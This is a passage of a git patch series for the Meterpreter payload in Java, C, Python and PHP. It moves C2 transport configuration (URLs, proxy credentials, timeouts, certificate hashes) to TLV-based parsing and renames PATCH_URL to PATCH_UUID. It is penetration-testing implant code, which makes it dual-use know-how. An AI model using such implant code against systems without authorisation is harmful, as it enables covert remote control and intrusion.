packet, 4); + return packet; + } } diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java index 4560e55e0..4d4c28e01 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java @@ -78,7 +78,7 @@ public interface TLVType { public static final int TLV_TYPE_C2_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 707; // how long to wait between reconnect attempts public static final int TLV_TYPE_C2_URL = TLVPacket.TLV_META_TYPE_STRING | 708; // base URL of this C2 (scheme://host:port/uri) public static final int TLV_TYPE_C2_URI = TLVPacket.TLV_META_TYPE_STRING | 709; // URI to append to base URL (for HTTP(s)), if any - public static final int TLV_TYPE_C2_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 710; // Host name of proxy + public static final int TLV_TYPE_C2_PROXY_URL = TLVPacket.TLV_META_TYPE_STRING | 710; // Proxy URL public static final int TLV_TYPE_C2_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 711; // Proxy user name public static final int TLV_TYPE_C2_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 712; // Proxy password public static final int TLV_TYPE_C2_GET = TLVPacket.TLV_META_TYPE_GROUP | 713; // A grouping of params associated with GET requests diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java index f5ecbb23d..c6ca94449 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java @@ -17,7 +17,6 @@ public class Config { public long session_expiry; public byte[] uuid; public byte[] session_guid; - public String stageless_class; public List transportConfigList = new LinkedList(); diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index 793517acd..bb2c801f5 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -1,132 +1,70 @@ package com.metasploit.stage; -import java.io.UnsupportedEncodingException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; + +import java.io.IOException; +import java.util.List; import java.util.concurrent.TimeUnit; public class ConfigParser { - private static final int SESSION_EXPIRY_START_LEN = 12; - private static final int UUID_LEN = 16; - private static final int GUID_LEN = 16; - private static final int INT_LEN = 4; - private static final int URL_LEN = 512; - private static final int UA_LEN = 256; - private static final int PROXY_HOST_LEN = 128; - private static final int PROXY_USER_LEN = 64; - private static final int PROXY_PASS_LEN = 64; - private static final int CERT_HASH_LEN = 20; - private static final long MS = TimeUnit.SECONDS.toMillis(1); public static Config parseConfig(byte[] configBytes) { Config config = new Config(); config.rawConfig = configBytes; - int csr = 0; - config.flags = ConfigParser.unpack32(configBytes, 0); - csr += SESSION_EXPIRY_START_LEN; - config.session_expiry = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; - config.uuid = ConfigParser.readBytes(configBytes, csr, ConfigParser.UUID_LEN); - csr += ConfigParser.UUID_LEN; - config.session_guid = ConfigParser.readBytes(configBytes, csr, ConfigParser.GUID_LEN); - csr += ConfigParser.GUID_LEN; - if ((config.flags & Config.FLAG_STAGELESS) != 0) { - config.stageless_class = readString(configBytes, 8000, 100); + TLVPacket configPacket; + + try { + configPacket = TLVPacket.fromEncoded(configBytes, null); + config.session_expiry = MS * configPacket.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); + config.uuid = configPacket.getRawValue(TLVType.TLV_TYPE_UUID); + config.session_guid = configPacket.getRawValue(TLVType.TLV_TYPE_SESSION_GUID); + } catch (IOException ioException) { + return null; + } catch (IllegalArgumentException illegalArgumentException) { + return null; } - while (true) { - if (configBytes[csr] == 0) { - break; - } + List c2Groups = configPacket.getValues(TLVType.TLV_TYPE_C2); + for (int i = 0; i < c2Groups.size(); ++i) { TransportConfig transportConfig = new TransportConfig(); - transportConfig.url = ConfigParser.readString(configBytes, csr, URL_LEN); - csr += URL_LEN; - transportConfig.comm_timeout = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; - transportConfig.retry_total = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; - transportConfig.retry_wait = MS * ConfigParser.unpack32(configBytes, csr); - csr += INT_LEN; + TLVPacket c2Group; + try { + c2Group = c2Groups.get(i); + transportConfig.url = c2Group.getStringValue(TLVType.TLV_TYPE_C2_URL); + transportConfig.comm_timeout = MS * c2Group.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT); + transportConfig.retry_total = MS * c2Group.getIntValue(TLVType.TLV_TYPE_C2_RETRY_TOTAL); + transportConfig.retry_wait = MS * c2Group.getIntValue(TLVType.TLV_TYPE_C2_RETRY_WAIT); + // these values are all required so if any are missing, skip adding it as a transport + } catch (IllegalArgumentException illegalArgumentException) { + continue; + } if (transportConfig.url.startsWith("http")) { - transportConfig.proxy = ConfigParser.readString(configBytes, csr, ConfigParser.PROXY_HOST_LEN); - csr += ConfigParser.PROXY_HOST_LEN; - - transportConfig.proxy_user = ConfigParser.readString(configBytes, csr, ConfigParser.PROXY_USER_LEN); - csr += ConfigParser.PROXY_USER_LEN; - - transportConfig.proxy_pass = ConfigParser.readString(configBytes, csr, ConfigParser.PROXY_PASS_LEN); - csr += ConfigParser.PROXY_PASS_LEN; - - transportConfig.user_agent = ConfigParser.readString(configBytes, csr, ConfigParser.UA_LEN); - csr += ConfigParser.UA_LEN; - - transportConfig.cert_hash = null; - byte[] loadedHash = ConfigParser.readBytes(configBytes, csr, ConfigParser.CERT_HASH_LEN); - csr += ConfigParser.CERT_HASH_LEN; - - // we only store the cert hash value if it's got a value - for (int i = 0; i < loadedHash.length; i++) { - if (loadedHash[i] != 0) { + String proxyUrl = null; + byte[] loadedHash; + try { + proxyUrl = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL); + } catch (IllegalArgumentException illegalArgumentException) { + } + if (proxyUrl != null) { + transportConfig.proxy_url = proxyUrl; + transportConfig.proxy_user = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, ""); + transportConfig.proxy_pass = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, ""); + transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, ""); + transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""); + loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]); + if (loadedHash.length > 0) { transportConfig.cert_hash = loadedHash; - break; } } - - String customHeaders = ConfigParser.readString(configBytes, csr); - transportConfig.custom_headers = customHeaders; - csr += customHeaders.length(); } config.transportConfigList.add(transportConfig); } return config; } - - private static String readString(byte[] bytes, int offset) { - StringBuilder stringBuffer = new StringBuilder(); - int byteEnd = bytes.length; - for (int a=offset;a Date: Mon, 29 Sep 2025 09:27:23 -0400 Subject: [PATCH 19/24] Rename C2_PROXY_HOST to C2_PROXY_URL for Windows --- c/meterpreter/source/common/common_core.h | 2 +- c/meterpreter/source/metsrv/server_transport_winhttp.c | 9 +++++---- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 9fa8ae982..c7280134a 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -181,7 +181,7 @@ typedef enum TLV_TYPE_C2_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 707), ///! how long to wait between reconnect attempts TLV_TYPE_C2_URL = TLV_VALUE(TLV_META_TYPE_STRING, 708), ///! base URL of this C2 (scheme://host:port/uri) TLV_TYPE_C2_URI = TLV_VALUE(TLV_META_TYPE_STRING, 709), ///! URI to append to base URL (for HTTP(s)), if any - TLV_TYPE_C2_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 710), ///! Host name of proxy + TLV_TYPE_C2_PROXY_URL = TLV_VALUE(TLV_META_TYPE_STRING, 710), ///! Proxy URL TLV_TYPE_C2_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 711), ///! Proxy user name TLV_TYPE_C2_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 712), ///! Proxy password TLV_TYPE_C2_GET = TLV_VALUE(TLV_META_TYPE_GROUP, 713), ///! A grouping of params associated with GET requests diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 382124fef..2d548917e 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -986,7 +986,7 @@ void transport_write_http_config(Transport* transport, Packet* c2Packet) if (ctx->proxy) { - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_HOST, ctx->proxy); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_URL, ctx->proxy); } if (ctx->proxy_user) { @@ -1120,13 +1120,14 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) dprintf("[TRANS HTTP] Adjusted URL 2: %S", url); } - ctx->proxy = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_HOST, NULL); - dprintf("[TRANS HTTP] Given proxy user: %S", ctx->proxy); + ctx->proxy = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_URL, NULL); + dprintf("[TRANS HTTP] Given proxy: %S", ctx->proxy); ctx->proxy_user = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_USER, NULL); - dprintf("[TRANS HTTP] Given proxy pass: %S", ctx->proxy_user); + dprintf("[TRANS HTTP] Given proxy user: %S", ctx->proxy_user); ctx->proxy_pass = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_PASS, NULL); + dprintf("[TRANS HTTP] Given proxy pass: %S", ctx->proxy_pass); ctx->ssl = wcsncmp(url, L"https", 5) == 0; // only apply the cert hash if we're given one and it's not the global value From 32945896761f23eabb1035b40e01e79d5b91c429 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 29 Sep 2025 14:44:32 -0400 Subject: [PATCH 20/24] Switch to the new TLV constants in Python --- python/meterpreter/meterpreter.py | 90 ++++++++++++++++++------------- 1 file changed, 52 insertions(+), 38 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index d6919c572..b5e265ec3 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -147,20 +147,6 @@ TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 @@ -170,6 +156,34 @@ TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552 TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553 +TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time +TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use +TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log +TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info +TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping +TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group +TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2 +TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts +TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri) +TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any +TLV_TYPE_C2_PROXY_URL = TLV_META_TYPE_STRING | 710 # Proxy URL +TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name +TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password +TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests +TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests +TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent +TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) +TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s + TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 @@ -887,13 +901,13 @@ def should_retire(self): @staticmethod def from_request(request): - url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] + url = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] if url.startswith('tcp'): transport = TcpTransport(url) elif url.startswith('http'): - proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value') - user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT) - http_headers = packet_get_tlv(request, TLV_TYPE_TRANS_HEADERS).get('value', None) + proxy = packet_get_tlv(request, TLV_TYPE_C2_PROXY_URL).get('value') + user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value', HTTP_USER_AGENT) + http_headers = packet_get_tlv(request, TLV_TYPE_C2_HEADERS).get('value', None) transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) if http_headers: headers = {} @@ -905,9 +919,9 @@ def from_request(request): http_referer = headers.get('REFERER') transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host, http_cookie=http_cookie, http_referer=http_referer) - transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) - transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) - transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) + transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) + transport.retry_total = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) + transport.retry_wait = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) return transport def _activate(self): @@ -1008,13 +1022,13 @@ def send_packet(self, pkt): return True def tlv_pack_timeouts(self): - response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout) - response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total) - response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait) + response = tlv_pack(TLV_TYPE_C2_COMM_TIMEOUT, self.communication_timeout) + response += tlv_pack(TLV_TYPE_C2_RETRY_TOTAL, self.retry_total) + response += tlv_pack(TLV_TYPE_C2_RETRY_WAIT, self.retry_wait) return response def tlv_pack_transport_group(self): - trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url) + trans_group = tlv_pack(TLV_TYPE_C2_URL, self.url) trans_group += self.tlv_pack_timeouts() return trans_group @@ -1107,9 +1121,9 @@ def patch_uri_path(self, new_path): def tlv_pack_transport_group(self): trans_group = super(HttpTransport, self).tlv_pack_transport_group() if self.user_agent: - trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent) + trans_group += tlv_pack(TLV_TYPE_C2_UA, self.user_agent) if self.proxy: - trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy) + trans_group += tlv_pack(TLV_TYPE_C2_PROXY_URL, self.proxy) return trans_group class TcpTransport(Transport): @@ -1504,7 +1518,7 @@ def _core_native_arch(self, request, response): def _core_patch_url(self, request, response): if not isinstance(self.transport, HttpTransport): return ERROR_FAILURE, response - new_uri_path = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] + new_uri_path = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] if not self.transport.patch_uri_path(new_uri_path): return ERROR_FAILURE, response return ERROR_SUCCESS, response @@ -1566,12 +1580,12 @@ def _core_transport_change(self, request, response): def _core_transport_list(self, request, response): if self.session_expiry_time > 0: - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) - response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group()) + response += tlv_pack(TLV_TYPE_SESSION_EXPIRY, self.session_expiry_end - time.time()) + response += tlv_pack(TLV_TYPE_C2, self.transport.tlv_pack_transport_group()) transport = self.transport_next() while transport != self.transport: - response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group()) + response += tlv_pack(TLV_TYPE_C2, transport.tlv_pack_transport_group()) transport = self.transport_next(transport) return ERROR_SUCCESS, response @@ -1592,7 +1606,7 @@ def _core_transport_prev(self, request, response): return None def _core_transport_remove(self, request, response): - url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] + url = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] if self.transport.url == url: return ERROR_FAILURE, response transport_found = False @@ -1606,27 +1620,27 @@ def _core_transport_remove(self, request, response): return ERROR_FAILURE, response def _core_transport_set_timeouts(self, request, response): - timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') + timeout_value = packet_get_tlv(request, TLV_TYPE_SESSION_EXPIRY).get('value') if not timeout_value is None: self.session_expiry_time = timeout_value self.session_expiry_end = time.time() + self.session_expiry_time - timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value') + timeout_value = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value') if timeout_value: self.transport.communication_timeout = timeout_value - retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value') + retry_value = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value') if retry_value: self.transport.retry_total = retry_value - retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value') + retry_value = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value') if retry_value: self.transport.retry_wait = retry_value if self.session_expiry_time > 0: - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) + response += tlv_pack(TLV_TYPE_SESSION_EXPIRY, self.session_expiry_end - time.time()) response += self.transport.tlv_pack_timeouts() return ERROR_SUCCESS, response def _core_transport_sleep(self, request, response): - seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'] + seconds = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT)['value'] self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS)) if seconds: self._transport_sleep = seconds From a42e962d5b1690f156ce9ade2b82ea4bdd16cfea Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Oct 2025 09:38:19 -0400 Subject: [PATCH 21/24] PATCH_URL is not PATCH_UUID --- .../com/metasploit/meterpreter/HttpTransport.java | 6 +++--- .../com/metasploit/meterpreter/TcpTransport.java | 4 ++-- .../java/com/metasploit/meterpreter/Transport.java | 2 +- .../metasploit/meterpreter/command/CommandId.java | 2 +- .../java/com/metasploit/meterpreter/core/Loader.java | 2 +- .../{core_patch_url.java => core_patch_uuid.java} | 6 +++--- php/meterpreter/meterpreter.php | 2 +- python/meterpreter/meterpreter.py | 12 ++++++------ 8 files changed, 18 insertions(+), 18 deletions(-) rename java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/{core_patch_url.java => core_patch_uuid.java} (67%) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 604871042..87f3add09 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -49,13 +49,13 @@ public void bind(DataInputStream in, OutputStream rawOut) { } @Override - public boolean switchUri(String uri) { + public boolean patchUuid(String uuid) { try { // can't use getAuthority() here thanks to java 1.2. Ugh. String newUrl = this.targetUrl.getProtocol() + "://" + this.targetUrl.getHost() + ":" - + this.targetUrl.getPort() - + uri; + + this.targetUrl.getPort() + "/" + + uuid; this.nextUrl = new URL(newUrl); return true; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java index 94c8a58e9..276305ac6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java @@ -104,8 +104,8 @@ public void bind(DataInputStream in, OutputStream rawOut) { } @Override - public boolean switchUri(String uri) { - // tcp transports don't support URL switching + public boolean patchUuid(String uuid) { + // TCP transports don't support UUID switching return false; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java index 16740abce..2d6182c10 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java @@ -29,7 +29,7 @@ public abstract class Transport { public abstract boolean dispatch(Meterpreter met); public abstract void writePacket(TLVPacket packet, int type) throws IOException; public abstract TLVPacket readPacket() throws IOException; - public abstract boolean switchUri(String uri); + public abstract boolean patchUuid(String uuid); protected Transport(Meterpreter met, String url) { this.meterpreter = met; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java index fa678adcf..1dd301abd 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/CommandId.java @@ -22,7 +22,7 @@ public interface CommandId { public static final int CORE_MIGRATE = 14; public static final int CORE_NATIVE_ARCH = 15; public static final int CORE_NEGOTIATE_TLV_ENCRYPTION = 16; - public static final int CORE_PATCH_URL = 17; + public static final int CORE_PATCH_UUID = 17; public static final int CORE_PIVOT_ADD = 18; public static final int CORE_PIVOT_REMOVE = 19; public static final int CORE_PIVOT_SESSION_DIED = 20; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java index 66a79ddfc..38910472c 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java @@ -23,7 +23,7 @@ public void load(CommandManager mgr) throws Exception { mgr.registerCommand(CommandId.CORE_MACHINE_ID, core_machine_id.class); mgr.registerCommand(CommandId.CORE_GET_SESSION_GUID, core_get_session_guid.class); mgr.registerCommand(CommandId.CORE_SET_SESSION_GUID, core_set_session_guid.class); - mgr.registerCommand(CommandId.CORE_PATCH_URL, core_patch_url.class); + mgr.registerCommand(CommandId.CORE_PATCH_UUID, core_patch_uuid.class); mgr.registerCommand(CommandId.CORE_SHUTDOWN, core_shutdown.class); mgr.registerCommand(CommandId.CORE_TRANSPORT_SET_TIMEOUTS, core_transport_set_timeouts.class); mgr.registerCommand(CommandId.CORE_TRANSPORT_LIST, core_transport_list.class); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_uuid.java similarity index 67% rename from java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java rename to java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_uuid.java index 522c85d7c..f5dbd4ab9 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_uuid.java @@ -5,11 +5,11 @@ import com.metasploit.meterpreter.Meterpreter; import com.metasploit.meterpreter.command.Command; -public class core_patch_url implements Command { +public class core_patch_uuid implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { - String patchUrl = request.getStringValue(TLVType.TLV_TYPE_C2_URL); - if (meterpreter.getTransports().current().switchUri(patchUrl)) { + String patchUuid = request.getStringValue(TLVType.TLV_TYPE_C2_UUID); + if (meterpreter.getTransports().current().patchUuid(patchUuid)) { return EXIT_DISPATCH; } else { return ERROR_FAILURE; diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index ded9ab283..2a5f1c9e7 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -242,7 +242,7 @@ function socket_set_option($sock, $type, $opt, $value) { define('COMMAND_ID_CORE_MIGRATE', 14); define('COMMAND_ID_CORE_NATIVE_ARCH', 15); define('COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION', 16); -define('COMMAND_ID_CORE_PATCH_URL', 17); +define('COMMAND_ID_CORE_PATCH_UUID', 17); define('COMMAND_ID_CORE_PIVOT_ADD', 18); define('COMMAND_ID_CORE_PIVOT_REMOVE', 19); define('COMMAND_ID_CORE_PIVOT_SESSION_DIED', 20); diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index b5e265ec3..658de3560 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -228,7 +228,7 @@ (14, 'core_migrate'), (15, 'core_native_arch'), (16, 'core_negotiate_tlv_encryption'), - (17, 'core_patch_url'), + (17, 'core_patch_uuid'), (18, 'core_pivot_add'), (19, 'core_pivot_remove'), (20, 'core_pivot_session_died'), @@ -1111,11 +1111,11 @@ def _send_packet(self, packet): url_h = urllib.urlopen(request, **urlopen_kwargs) response = url_h.read() - def patch_uri_path(self, new_path): + def patch_uuid(self, new_uuid): match = re.match(r'https?://[^/]+(/.*$)', self.url) if match is None: return False - self.url = self.url[:match.span(1)[0]] + new_path + self.url = self.url[:match.span(1)[0]] + '/' + new_uuid return True def tlv_pack_transport_group(self): @@ -1515,11 +1515,11 @@ def _core_native_arch(self, request, response): response += tlv_pack(TLV_TYPE_STRING, get_native_arch()) return ERROR_SUCCESS, response - def _core_patch_url(self, request, response): + def _core_patch_uuid(self, request, response): if not isinstance(self.transport, HttpTransport): return ERROR_FAILURE, response - new_uri_path = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] - if not self.transport.patch_uri_path(new_uri_path): + new_uuid = 